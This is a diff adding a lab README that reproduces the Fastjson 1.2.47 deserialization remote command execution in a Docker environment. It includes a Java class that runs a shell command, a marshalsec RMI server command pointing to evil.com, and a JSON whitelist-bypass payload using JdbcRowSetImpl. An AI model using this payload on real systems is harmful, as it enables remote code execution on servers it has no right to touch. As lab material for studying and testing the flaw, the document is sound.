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+# Fastjson 1.2.47 Deserialization Remote Command Execution
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Fastjson is a JSON parser developed by Alibaba, known for its superior performance and widely used in Java projects across various companies. After version 1.2.24, Fastjson added a deserialization whitelist. However, in versions prior to 1.2.48, attackers could bypass the whitelist check using specially crafted JSON strings and successfully execute arbitrary commands.
+
+References:
+
+- <https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955>
+- <https://www.freebuf.com/vuls/208339.html>
+
+## Environment Setup
+
+Execute the following command to start a Spring web project that uses Fastjson 1.2.45 as its default JSON parser:
+
+```shell
+docker compose up -d
+```
+
+After the server starts, visit `http://your-ip:8090` to see a JSON object returned. You can POST new JSON objects by changing the content-type to `application/json`, and the backend will use Fastjson to parse them.
+
+## Vulnerability Reproduction
+
+The target environment is `openjdk:8u102`, which doesn't have the `com.sun.jndi.rmi.object.trustURLCodebase` restriction. We can easily execute commands using RMI.
+
+First, compile and upload the command execution code, such as `http://evil.com/TouchFile.class`:
+
+```java
+// javac TouchFile.java
+import java.lang.Runtime;
+import java.lang.Process;
+
+public class TouchFile {
+    static {
+        try {
+            Runtime rt = Runtime.getRuntime();
+            String[] commands = {"touch", "/tmp/success"};
+            Process pc = rt.exec(commands);
+            pc.waitFor();
+        } catch (Exception e) {
+            // do nothing
+        }
+    }
+}
+```
+
+Then, using the [marshalsec](https://github.com/mbechler/marshalsec) project, start an RMI server listening on port 9999 and specify loading the remote class `TouchFile.class`:
+
+```shell
+java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
+```
+
+Send the payload to the target server:
+
+```
+{
+    "a":{
+        "@type":"java.lang.Class",
+        "val":"com.sun.rowset.JdbcRowSetImpl"
+    },
+    "b":{
+        "@type":"com.sun.rowset.JdbcRowSetImpl",
+        "dataSourceName":"rmi://evil.com:9999/Exploit",
+        "autoCommit":true
+    }
+}
+```
+
+![](1.png)
+
+As shown below, the command `touch /tmp/success` has been successfully executed:
+
+![](2.png)
+
+For more exploitation methods, please refer to JNDI injection related knowledge.